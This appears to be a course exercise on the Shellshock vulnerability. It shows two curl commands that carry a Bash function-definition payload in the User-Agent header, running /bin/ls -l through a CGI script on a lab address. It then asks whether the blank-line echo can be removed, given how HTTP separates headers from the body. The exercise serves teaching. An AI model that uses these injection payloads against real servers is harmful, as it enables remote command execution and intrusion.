The following command comes from page 53 of the Computer Security:

                    $ curl -A "() { echo hello;};
                               echo  Content_type: text/plain; echo; /bin/ls -l"
                               http://10.0.2.69/cgi-bin/test.cgi
                

If we remove the echo; from the command:

                    $ curl -A "() { echo hello;};
                               echo  Content_type: text/plain; /bin/ls -l"
                               http://10.0.2.69/cgi-bin/test.cgi
                

Please write down whether it is possible to delete the echo; and why. For this question you may need refer to the HTTP protocol.